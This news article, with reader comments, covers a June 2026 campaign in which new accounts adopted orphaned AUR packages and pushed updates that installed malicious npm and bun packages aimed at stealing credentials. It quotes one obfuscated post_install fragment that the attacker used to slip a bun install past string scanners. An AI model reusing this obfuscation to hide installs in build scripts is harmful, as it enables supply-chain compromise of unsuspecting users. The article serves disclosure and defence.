|
|
Log in / Subscribe / Register

AURpocalypse now: a look at the recent AUR attacks

By Joe Brockmeier
June 19, 2026

The Arch User Repository (AUR) has been subjected to a sustained attack recently. The attacker, or attackers, have spun up a series of new accounts then used them to adopt orphaned packages and push malicious updates that would install malware on users' systems. It is unclear how many users were compromised in the attack, but the maintainers were playing Whac-A-Mole for several days to respond to each newly compromised package. The project has turned off the AUR's new-user registration, for now, but it is unclear what its long-term response will be or if the AUR can be secured without major changes to its existing collaboration model.

Why AUR is especially vulnerable

Arch Linux offers official repositories of software, such as core and extras, that are overseen by the Arch Linux Developers and Package Maintainers (see the official contributors categories for more on the hierarchy). These packages are vetted by maintainers and available for download in binary format using the pacman package manager.

The AUR, on the other hand, is a repository for software that has not yet made its way into the official repositories and may never do so. Pacman does not use the AUR repository directly, so users typically turn to a separate AUR helper application, such as paru or yay, for searching the AUR for software, downloading the PKGBUILD files, resolving dependencies, as well as compiling, installing, and updating software.

The AUR is maintained by Arch's Package Maintainers—they respond to requests to orphan or delete packages, and may move packages from AUR to the official extras repository, for example—but there is no formal review process for a package to enter the AUR, nor for any updates to it. The AUR contains the user-contributed PKGBUILD files that are needed to compile software from source; there are no binary builds provided. Currently there are more than 107,000 packages in the AUR, including nearly 14,000 that are currently orphaned and up for grabs.

AUR user registration is typically wide open to anyone who wishes to sign up—currently there are more than 141,000 registered users. Any person who has a registered user account on the AUR can adopt and make changes to orphaned packages. There is no review process or vetting that takes place when a user seeks to publish a new package or adopt an orphaned one; a registered user only has to click "Adopt Package" on the orphaned package's page and ownership of the package is automatically granted.

Use at your own risk

Arch users are expected to exercise care when working with packages from the AUR; they are warned that AUR PKGBUILD files are "completely unofficial and have not been thoroughly vetted. Any use of the provided files is at your own risk". In theory, users will review PKGBUILD files before building or installing the software; it's unlikely that this happens in practice, particularly when a user has already installed a package and is performing an update.

While Arch Linux does not provide builds for packages in the AUR, it does allow "-bin" PKGBUILD files, which are used to download prebuilt binaries from other locations. For example, users can install the LibreWolf fork of Firefox using the librewolf-bin package from the AUR rather than having to build it from source. This is not just convenient for open-source software with long build times; the AUR policies allow proprietary software as well, which is unlikely to be distributed in source form. Of course, this means that users have to be willing to trust that the AUR package maintainer is not providing anything malicious in the binaries.

Arch is not the only distribution that has a service for providing "use at your own risk", unreviewed, user-submitted content; Fedora has Copr, the openSUSE project has the Open Build Service (OBS), and Ubuntu has Personal Package Archives (PPAs). Each of those services allow a person to sign up without any review process and build packages for download by other users of the distributions.

However, there are important differences between those services and the AUR. They provide a build environment that is similar to the ones used for the official distribution packages, and do not allow pre-built binaries or proprietary software. The model for Copr, OBS, and PPAs is that a user creates a project under their own user namespace; users have to add each repository from one of those services separately.

For example, niri creator Ivan Molodetskikh maintains a Copr repository for Fedora users who want to run the tiling Wayland compositor. To install niri from Copr, a user has to enable that repository specifically. It is possible for other Copr users to create a similar project under their own namespace, but it is not possible for another user to take over Molodetskikh's repository unless they compromise his credentials. A would-be attacker could create a malicious fork on Copr and try to lure Fedora users to add that package repository to their system instead, but the attacker cannot simply pick up an orphaned Copr repository to compromise users who have already added it.

The AUR, on the other hand, is much more relaxed about ownership; the PKGBUILD files are all maintained under the AUR namespace. The rules state that, when a new maintainer takes over an AUR package, they are supposed to add their own information as maintainer and then list the prior maintainers as contributors. That, however, is taken on trust and (as seen with the current attack) can be easily abused.

Attacks

The AUR has been subject to a number of attacks over the years that took advantage of orphaned packages. In 2018, three packages were changed to include data-harvesting malware. There were two attacks last year; on July 18 Quentin Michaud sent out an advisory that three packages, all "-bin" packages for web browsers, were uploaded with remote-access trojan (RAT) malware. In late July, there was another attempt, quickly detected; a "google-chrome-stable" package was uploaded with another RAT.

Each of those attacks were small in scale. Not so the most recent attack, which seems to have started (and was detected on) May 27; Fabio Loli reported that the "plex-media-player" package had been updated to install a malicious npm package "crypto-javascript". The PKGBUILD had been orphaned and then adopted by a brand-new account. Several new packages with similar names had also been uploaded by new accounts, all with the same attempt to lure users into installing the malicious npm package.

On June 11, Mark Wagie reported that a new maintainer had adopted the "gnome-randr-rust" package and changed the PKGBUILD file to add a dependency on npm and then use it to install a malicious package called "atomic-lockfile". The attacker also changed the Contributor stanzas in the PKGBUILD to replace the email addresses of prior maintainers—but not the names. The Sonatype blog has an analysis of the package; it included an eBPF program that would attempt to exfiltrate a wide range of information from a user's machine including GitHub credentials, SSH information, browser cookies, data stores from chat applications like Slack, Discord, and more.

The attacker(s) went after hundreds of orphaned packages instead of a select few as with the attacks last year. Jonathan Grotelüschen, one of Arch's Package Maintainers, started a thread on June 11 for people to report compromised packages.

I contacted Grotelüschen by email to ask about the attack; he said that the attacker was creating accounts that would adopt a few packages and compromise them in a similar fashion. New user registration was stopped on June 11 and then re-enabled after the project added Anubis to try to foil the attacker's mass account registrations. That did not work, so registration was disabled again on June 12.

There was another wave of attacks on June 13, conducted with four accounts that had been created before registration was shut down. The attacker switched to using the Bun package manager to attempt to install malicious packages instead of npm, and then attempted to obfuscate the "bun install" command to evade scripts created to scan PKGBUILD files for strings with "npm" or "bun":

    # post_install() {
    #   $'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d' 
    $'\141\x6e''s'"i""-"$'\143''o''l''o''r'$'\x73' 
    'n'"e"'x'"t""f"'i''l''e''-''j''s'
    # }

While the obfuscation attempt would evade scripts looking for an install command, any users who actually review the PKGBUILD file would hopefully find it suspect.

Response

In total, more than 1,500 packages are known to have been affected. Grotelüschen said that only about 20 new packages were created, the rest were orphaned packages adopted by the attacker. As of this writing, registration is still disabled. Grotelüschen said that the maintainers "keep the AUR as clean as we can, but at the scale of the AUR, our chance at catching absolutely everything is very small".

He added that "the attack exclusively affected the user-managed content, and the official repositories were unaffected". Furthermore, the AUR packages come with the disclaimer that they are "use at your own risk". Users are responsible for reading PKGBUILDs to decide for themselves if the content is safe to use, Grotelüschen said.

That policy, however, seems to be at odds with the practices of real-world users. It is likely that many users treat the AUR as just another package repository, and rarely if ever read a PKGBUILD file before installing or updating a package. Even careful, security-minded people are unlikely to review every single update to a PKGBUILD, and attackers only need to get lucky once. The AUR's policies may not be sufficient for today's security threats.

The project is working on making it harder to create new accounts, he said, but "the AUR will not require real names or even government id verification". He noted that there are discussions on the AUR mailing list about ways to prevent or detect similar attacks, but the ideas are coming from users rather than Arch maintainers and developers.

Because it's 2026, several ideas of course center around using LLMs, such as Thomas Stromberg's suggestion to use a project he's working on called Atomdrift, which uses "tiny local deterministic AI models, retrained constantly based on recent attacks and threat feeds". Andreas Reichel said he had built something similar called aurscan, which can use Claude, Codex, or local LLMs.

Lukas Grumlik thought that a change in how orphaned packages are handled might help. Instead of allowing anyone to adopt an orphaned package, he proposed that such packages be locked and set to a read-only state. Users could still download the PKGBUILD, but adoption would require "a proper request to take it over, explaining why it needs updating", which would hinder bots from mass takeovers. Reichel replied that such a strategy would discourage well-intentioned people who want to fix packages in good faith, but fail to stop "a state sanctioned criminal syndicate with at least 20k USD deep pockets" and access to LLMs "because my LLM Agent has all the time it needs and will write better explanations anyway".

Another approach would be to build defenses into the AUR utilities rather than the AUR itself. Fidel Ramos suggested that paru display "a loud warning" when installing or upgrading a package that had been orphaned and then adopted. That would likely require changes to the RPC interface for the AUR in order to expose the information needed. Josephine Pfeiffer has opened a merge request that would provide that information.

Jo Guerreiro, maintainer of yay, said that there had been many feature requests asking for changes along the lines of scanning for "npm install yyy", delayed time updates, or maintainer-change tracking. However, he argued that the next wave of malware would change tactics, "with all detection scanning fed into its generation cycle as 'iterate until it is not detected'". There was no way for yay to keep up with attackers, and he wanted to avoid "security theater".

However, he did note that the latest release of yay would now display the last modification time of a PKGBUILD. Recent modifications do not mean that users should not trust a package, but that they should be more careful and review the package. Older packages are not necessarily more trustworthy, he said, "but it is a reason to be more confident that it has been reviewed by the community".

Be careful out there

Considering the open-door policy for submissions and changes in the AUR, it's almost surprising that it has taken this long for an attacker to conduct a campaign at this scale. Nothing good lasts forever, though, and even if the person or persons behind this attack decides to move on, there will almost certainly be copycats.

Slowing new signups may help to some degree, but malicious actors will keep looking for ways to take advantage of AUR users who let their guard down in reviewing their PKGBUILD files. The AUR is an impressive example of community collaboration; it is unfortunate that there is always someone looking to abuse any system built on trust.



to post comments

Join the dark side

Posted Jun 19, 2026 21:26 UTC (Fri) by jpeisach (subscriber, #181966) [Link] (3 responses)

I've seen enough. Rest in piece to the "I use arch btw" fan club. See you guys back on Ubuntu. You never should've left.

Join the dark side (joke)

Posted Jun 19, 2026 21:27 UTC (Fri) by jpeisach (subscriber, #181966) [Link]

(This is semi-satirical, by the way - use whichever distro you choose. Stay safe everyone)

Join the dark side

Posted Jul 2, 2026 11:16 UTC (Thu) by GNUtoo (guest, #61279) [Link] (1 responses)

Ubuntu has the same problem with snaps, but it solve it in a different way, so you get different kind of tradeoffs the end.

The problem is that there is no intermediary between the user and the software producer (or here the packager). Distributions like Debian provide this intermediary and they do reviews etc. The downside is that we cannot package every single thing (there are many programming languages package managers have more packages than Debian).

For packages that aren't reviewed, there seems to be a choice between:
- no sandbox, good integration with the distribution
- sanbox, with complicated integration (package cannot run as root, etc)

Personally I find Guix to be a better tradeoff, as you can have up to date software and there is some review.

The downside in Guix are (when used on top of another distribution):

- The resources consumption: it requires more space, requires some maintenance (to keep space usage low), updates take time.

- There is still some integration issues though (no suid, similar issues than Bedrock) but at least you can package software like flashrom which requires a huge amount of permissions and it just works.

Join the dark side

Posted Jul 2, 2026 11:22 UTC (Thu) by GNUtoo (guest, #61279) [Link]

*tradeoffs at the end.

2FA

Posted Jun 19, 2026 22:08 UTC (Fri) by RazeLighter777 (subscriber, #130021) [Link] (1 responses)

I think Arch Linux should start updates to packages require a second factor of authentication, ideally hardware keys / TOTP codes that can be stored off-device. Email is almost always accessible through the same device via the browser cache, and wouldn't be as effective, SMS is expensive.

Every single push should require an interactive 2FA check, which would be valid for that push; and that push only.

This wouldn't be a copmlete solution but it would complicate the life for attackers. And people smart enough
to make one of their 2FA methods on a different machine/mobile device could rest easier.

2FA

Posted Jun 19, 2026 23:22 UTC (Fri) by jkingweb (subscriber, #113039) [Link]

While it's not necessarily a bad idea, it wouldn't have made a difference here. These were clean, new accounts doing this, not compromised ones, and they exploited orphaned packages, which don't have a current maintainer to trust.

Code review

Posted Jun 19, 2026 22:43 UTC (Fri) by j0057 (subscriber, #143939) [Link] (6 responses)

I, for one, use an AUR helper that leverages Git to allow me to review exactly what changed in a given update. Most of the time it's just a version number and a file hash, sometimes the change is more substantial and a more careful review is needed; if I'd see obfuscated code, downloads from strange URLs or, in this case, unexpected post-install scripts that run 'npm install', or anything else even remotely suspicious, I wouldn't run the build. So far this has happened zero times to me.

It's not fail-safe, of course, and I can't review all of the code that is actually getting built, but if more people would use the AUR in this way, we'd have a much better chance of catching attacks like these.

Code review

Posted Jun 22, 2026 0:02 UTC (Mon) by hmanning77 (subscriber, #160992) [Link] (5 responses)

I agree with you here. Reading the phrase "Even careful, security-minded people are unlikely to review every single update to a PKGBUILD" made me want to wave my hand in the air and yell, "That's me! I do review every update!"

It's so frustrating because the practice of blindly installing from the AUR is so obviously a bad idea, so clearly documented as something you shouldn't do, and so thoroughly unsupported by the official Arch project, but clearly a common practice anyway. It's a case of "this is why we can't have nice things", and I'll be really frustrated if the AUR has to be constrained or shut down because people can't use it responsibly.

Unfortunately, I don't know the answer. You can't simply admonish people to " be responsible". The Arch project tries to communicate the nature of the AUR by refusing to make it easy to use (the canonical procedure is "git clone, review, and build manually"), but you can't stop people from automating away that barrier, at which point people get told to "just use a helper".

An education campaign? After all, that might happen on it's own eventually, if a suitably big attack occurs and the misguided "just use a helper" advice turns into misguided "the AUR is full of malware" advice.

Code review

Posted Jun 22, 2026 0:07 UTC (Mon) by gioele (subscriber, #61675) [Link] (2 responses)

> I agree with you here. Reading the phrase "Even careful, security-minded people are unlikely to review every single update to a PKGBUILD" made me want to wave my hand in the air and yell, "That's me! I do review every update!"

You may review the changes to the PKGBUILD file, but do you review every single line of code that has changed in the upstream project since the last update?

Code review

Posted Jun 22, 2026 11:51 UTC (Mon) by rbtree (guest, #129790) [Link]

Of course. When updating through good AUR helpers (I use yay and/or paru), before the package starts building, the helper shows you the diff from the last time the package was built. 99% of time just two lines get changed: the version number, and the checksum. You glance at the diff, and as long as nothing else has changed, there's nothing to review.

Code review

Posted Jul 1, 2026 11:28 UTC (Wed) by toby (subscriber, #180241) [Link]

> You may review the changes to the PKGBUILD file, but do you review every single line of code that has changed in the upstream project since the last update?

You need to trust someone and something, otherwise I guess we'll all be migrating to linux from scratch soon enough.
If a github repository or a company hosting the binary... is compromised, then I think this is a problem for more than the arch users, so out of scope here.

Code review

Posted Jun 22, 2026 8:41 UTC (Mon) by Sesse (subscriber, #53779) [Link] (1 responses)

> but clearly a common practice anyway

Well, people want software from somewhere. One of the points I see iterated from Arch users (including Arch developers) is that there's a very large array of software available—but if you exclude AUR, you're at ~15k packages, which is far less than e.g. Fedora or Ubuntu (both around 60–80k). So how would you install any given package that's outside this smallish set, if not from AUR? It's not a surprise that people do so.

AUR is in this very weird quantum mechanical state where proponents like to tout all of its advantages but are very quick to disavow it once anything bad comes up; I guess you can't have your cake and eat it too?

Code review

Posted Jun 22, 2026 9:38 UTC (Mon) by taladar (subscriber, #68407) [Link]

Classic motte and bailey argument style (from the proponents, not yours).

Attack back

Posted Jun 19, 2026 23:12 UTC (Fri) by karkhaz (subscriber, #99844) [Link] (1 responses)

New user registration was stopped on June 11 and then re-enabled after the project added Anubis to try to foil the attacker's mass account registrations. That did not work, so registration was disabled again on June 12.

Before new user registration was disabled, the 'captcha' for making a new account would be a shell command that you would have to run and paste the output of. Typically involving running pacman, to prevent Ubuntu users from signing up. Indeed there is still a similar challenge on the new user registration for the ArchWiki, when I load the page it asks me to enter the output of LC_ALL=C pacman -V|sed -r "s#[0-9]+#$(date -u +%m)#g"|base32|head -1.

If the automated attacker has been programmed to run these scripts to sign up for an account, perhaps the sign-up page could serve the attackers a forkbomb to run, or get them to post to an Arch Linux URL to reveal their IP address...

Attack back

Posted Jun 25, 2026 10:14 UTC (Thu) by vent (subscriber, #183536) [Link]

The prospect of fork-bombing an innocent contributor because the attack-detection gave a false positive would be a very bad look

Scary coming from a GURU user

Posted Jun 20, 2026 10:50 UTC (Sat) by q3cpma (subscriber, #120859) [Link] (4 responses)

Hope Gentoo's version of the AUR, https://wiki.gentoo.org/wiki/Project:GURU, isn't compromised in the same way. At least, I version pin the two packages I use from it and Gentoo users are way more prone to simply importing ebuilds into their local overlay (or at least reading them), but still...

Scary coming from a GURU user

Posted Jun 20, 2026 11:31 UTC (Sat) by q3cpma (subscriber, #120859) [Link]

A small difference I noticed between the two systems: Gentoo sets FEATURES=network-sandbox by default so that no network access is provided to the build process beyond the initial fetching of dependencies dutifully listed and checksummed in the ebuild/manifest. Of course, that implies users read said ebuilds, I know...

Another even smaller difference is no third-party tool is needed to use overlays, Portage (and eselect-repository for convenience) are already there.

Scary coming from a GURU user

Posted Jun 20, 2026 14:59 UTC (Sat) by taymon (subscriber, #112650) [Link] (1 responses)

From that wiki description, GURU doesn't seem to allow new accounts by random people to have write access to existing packages.

Scary coming from a GURU user

Posted Jun 22, 2026 8:58 UTC (Mon) by taladar (subscriber, #68407) [Link]

Yeah, unvetted access to "Adopt this package" by new accounts seems like a disaster waiting to happen.

Scary coming from a GURU user

Posted Jun 25, 2026 10:20 UTC (Thu) by vent (subscriber, #183536) [Link]

GURU changes require a review by "trusted contributors" before they are merged into master, which makes attacking it a different game compared to the AUR

Vendor namespaces

Posted Jun 20, 2026 14:52 UTC (Sat) by rrolls (subscriber, #151126) [Link] (6 responses)

npm, pip, AUR, VS Code extensions - probably numerous others.

The biggest design flaw, I believe, is that these public repository systems let every individual package be indexed in one big list, rather than forcing the use of a vendor/ prefix. It's easy enough to understand how this happened: we didn't have these concerns when these systems were set up, so no one thought of the idea - but today in 2026, and even several years ago, it felt obvious that the idea of a "free-for-all single namespace" is no longer fit for purpose.

If a vendor/ prefix was used, and could strictly only be written to by the user account(s) explicitly granted control of it, then adopting a package would mean changing the prefix. To a user, this would not be presented as an "update" (which one wants to be able to install with as little friction as possible), but rather "a new fork is available", at which point one might want to go see who the new person is and what benefit their fork brings to consider switching to it. That expectation would nip this whole attack vector in the bud.

I'm vaguely aware that npm has some kind of vendor namespacing and pip I believe is starting to introduce it, but AIUI these are optional systems that just protect a few specific vendors, which is far from enforcing vendor namespaces to be used for everything.

Vendor namespaces

Posted Jun 20, 2026 15:03 UTC (Sat) by taymon (subscriber, #112650) [Link]

I don't see how this would help. Trusting a package owner not to give write access to a bad actor seems no different from trusting them not to do anything bad themself. The problem with AUR is that it allows and encourages package owners who aren't maintaining a package anymore to put it into a state where a random untrusted user can grab it and obtain write access. I'm not aware of any other package repository that does that.

Vendor namespaces

Posted Jun 21, 2026 12:10 UTC (Sun) by Karellen (subscriber, #67644) [Link] (3 responses)

Maybe it might be desirable for an old maintainer to be able to "bless" a new maintainer's fork in such an archive, to provide an intermediate level of succession?

Vendor namespaces

Posted Jun 21, 2026 15:25 UTC (Sun) by NAR (subscriber, #1313) [Link] (2 responses)

I guess the old maintainer is no longer around to bless the new maintainer. I think it would simply be better to leave the orphaned packages as is. If someone comes around to maintain it, create a new fork. If it's any good, the users shall come.

Vendor namespaces

Posted Jun 21, 2026 16:32 UTC (Sun) by Karellen (subscriber, #67644) [Link]

I think that depends.

Sometimes maintainers either burn out, lose interest, or have other projects take up the time that they used to spend on maintaining that particular package. Maybe they don't have the whatever it took to keep up with that maintenance, but they might be able to put in a one-time handover.

Or, sometimes a maintainer knows they're going to have to orphan a package ahead of time, and look for someone (or a group) to take over. If they get new maintainers up-to-speed before they have to drop it, a formal handover to "maybe follow the fork by user X" at the end of that could also be useful.

But not a requirement. And you'd probably want to make it opt-in on a per-package basis rather than switching users automatically. And users could always switch forks at any time, anyway, if another one turns out better.

Vendor namespaces

Posted Jun 22, 2026 17:30 UTC (Mon) by KJ7RRV (subscriber, #153595) [Link]

There are definitely some cases where a package owner/maintainer abandons a package, but is still available to transfer things over to a new maintainer; I've done that myself. I used to use Arch, and maintained a few AUR packages, but when I stopped using Arch a couple years ago, I marked them as orphaned, and a new maintainer has since picked them up; there was no need for me to do anything to give him access under the AUR's system, but I could have if it were necessary, and I was available to help him set things up. (Of course, this doesn't inherently help with trust; I didn't know the new maintainer before this, and while I can see that he's been maintaining the packages reliably now, I had no way of verifying this originally.)

Vendor namespaces

Posted Jun 23, 2026 1:35 UTC (Tue) by zaitseff (subscriber, #851) [Link]

> npm, pip, AUR, VS Code extensions - probably numerous others.

I have to admit I was disappointed that Rust's crates.io was done the same way, with no vendor namespaces by default. I think Go's much more distributed concept of modules should have been adopted more widely.

An idea

Posted Jun 22, 2026 0:22 UTC (Mon) by IanKelling (subscriber, #89418) [Link] (2 responses)

I encourage people with ideas for improvement for AUR to try coding your changes, the AUR is free software based on first glance. With this AUR issue and all of the recent language package manager security issues, adding some measures for verification that software came with a free software license and source code would naturally act as strong security measure, not perfect, but there is no need for a perfect solution. Note, https://www.parabola.nu/ is an FSF endorsed Arch derivative which explicitly does not support any AUR.

An idea

Posted Jun 22, 2026 16:30 UTC (Mon) by smoogen (subscriber, #97) [Link] (1 responses)

Sadly that violates the first law of 'Pub talk'... All problems are easy to come up with a fix in words and a pint (or six).

Actually testing them is for sober people outside the pub to not implement correctly (since they seem to rarely get those brilliant ideass to work as expected).

[Said in jest as I agree 100% with .. if you have a good idea try to implement it first .]

An idea

Posted Jun 24, 2026 13:43 UTC (Wed) by davecb (subscriber, #1574) [Link]

In "boy dialect", you express fellow-feeling by making a suggestion to fix the problem. Sometime a really silly one: the important part is the fellow-feeling.
And yes, I do that too, although I do tend to think about whether the suggestion is useful.

(In girl, you'd say "me too")

Parabola

Posted Jul 2, 2026 11:21 UTC (Thu) by GNUtoo (guest, #61279) [Link]

The situation with Aur in Parabola (a 100% free derivative of Arch) is pretty good (though Parabola itself isn't perfect(it has some outdated packages and not enough contributors)):

- There are no helpers to automatically download packages from Aur (mainly because many packages from Aur contain nonfree software)

- Some contributors do take packages from Aur, and send patches to Parabola to integrate these packages. The end result is that users get binaries from the official Parabola repositories (named "pcr", which can easily be enabled).

- Some users download PKGBUILDs from Aur, and review them before installing them. The downside here is that you have no way of being notified that there is an update unless the package implement that or that you have some other mechanism for checking for updates (like looking at outdated packages and/or packages updates in Aur from time to time).

Links to "ways to prevent or detect similar attacks"?

Posted Jul 2, 2026 11:28 UTC (Thu) by GNUtoo (guest, #61279) [Link]

The article has that:

> He noted that there are discussions on the AUR mailing list about ways to prevent or detect similar attacks

Is there some links to that? I'm in a situation where, for a forge, we are looking for ideas on how to get rid of ReCAPTCHA for registration while not increasing the load of work of current administrators of that forge, so do the "ways to prevent attacks" described in that mailing list also have suggestions that could work for the problem I have here?


Copyright © 2026, Eklektix, Inc.
This article may be redistributed under the terms of the Creative Commons CC BY-SA 4.0 license
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds